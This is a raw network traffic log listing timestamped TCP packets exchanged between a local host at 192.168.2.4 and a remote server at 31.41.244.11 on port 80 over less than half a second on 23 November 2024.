Nov 23, 2024 11:22:13.519735098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.519807100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.519861937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.520679951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.520731926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.520781994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.520833015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.521688938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.521740913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.521800041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.521862984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.522684097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.522737980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.522805929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.522857904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.523669958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.523721933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.523802996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.523854971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.524671078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.524719954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.524760962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.524811029 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.525686026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.525739908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.525821924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.525871992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.526678085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.526731968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.526773930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.526818037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.527801991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.527851105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.527858973 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.527905941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.528676033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.528717041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.528816938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.528862000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.529691935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.529746056 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.530205965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.530260086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.530664921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.530716896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.530759096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.530805111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.531716108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.531769037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.531778097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.531824112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.532653093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.532708883 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.681479931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.681530952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.681638002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.681684017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.682107925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.682153940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.682173967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.682213068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.683026075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.683073044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.683151007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.683193922 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.683991909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.684039116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.684109926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.684153080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.684993982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.685039997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.685066938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.685112953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.685972929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.686017990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.686057091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.686095953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.687033892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.687074900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.687129974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.687175989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.688297033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.688344002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.688498974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.688544989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.689414978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.689461946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.689476967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.689521074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.690113068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.690124989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.690160036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.690186977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.690948009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.690994024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.690994978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.691037893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.691983938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.692033052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.692070007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.692115068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.692951918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.693000078 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.693007946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.693053961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.694142103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.694186926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.694210052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.694256067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.695014954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.695061922 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.695142031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.695188046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.695946932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.695992947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.696079016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.696124077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.696997881 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.697046995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.697086096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.697127104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.698179007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.698230982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.698302031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.698345900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.699210882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.699255943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.699325085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.699369907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.700261116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.700308084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.700395107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.700439930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.701327085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.701373100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.701386929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.701431990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.702327967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.702367067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.702399969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.702447891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.703233004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.703279972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.703284979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.703332901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.703989983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.704039097 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.704152107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.704193115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.705040932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.705080986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.705193996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.705240011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.705970049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.706013918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.706127882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.706173897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.707041025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.707082033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.707086086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.707125902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.708115101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.708153963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.708189964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.708231926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.709019899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.709031105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.709068060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.710031033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.710042000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.710082054 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.710983992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.711030006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.711154938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.711199999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.712054014 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.712100029 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.712136984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.712186098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.712930918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.712975979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.713049889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.713093042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.713993073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.714041948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.714051008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.714087963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.714953899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.715007067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.715042114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.715081930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.715941906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.715995073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.716188908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.716233015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.716937065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.716989994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.717053890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.717098951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.717986107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.718030930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.718085051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.718148947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.718952894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.718998909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.719022036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.719063044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.719957113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.720016003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.720053911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.720093012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.720933914 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.720971107 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.720990896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.721040010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.721936941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.721976995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.722115993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.722157955 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.722925901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.722966909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.723046064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.723088980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.723951101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.723997116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.724112034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.724148989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.724935055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.724973917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.725009918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.725049973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.725914001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.725958109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.726030111 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.726069927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.726936102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.726975918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.727227926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.727267981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.727967024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.728015900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.728051901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.728092909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.728934050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.728976011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.729104996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.729145050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.729948997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.729986906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.730036974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.730077028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.730942965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.730983973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.731049061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.731091022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.731918097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.731956005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.732043028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.732081890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.732923985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.732966900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.733045101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.733087063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.734041929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.734081030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.882879972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.882935047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.882996082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.883018017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.883291960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.883332014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.883398056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.883439064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.884294033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.884335041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.884367943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.884407997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.885288000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.885325909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.885369062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.885406971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.886296034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.886336088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.886455059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.886492014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.887345076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.887384892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.887433052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.887473106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.888432980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.888469934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.888585091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.888628006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.889457941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.889497995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.889535904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.889571905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.890284061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.890322924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.890397072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.890434980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.891304970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.891343117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.891381025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.891418934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.892322063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.892362118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.892445087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.892482996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.893349886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.893393040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.893418074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.893430948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.894284964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.894323111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.894408941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.894443035 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.895278931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.895320892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.895354986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.895395041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.896308899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.896346092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.896349907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.896404028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.897264004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.897311926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.897387981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.897425890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.898308992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.898348093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.898413897 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.898447037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.899302006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.899339914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.899363041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.899401903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.900284052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.900321960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.900345087 CET	80	49765	31.41.244.11	192.168.2.4
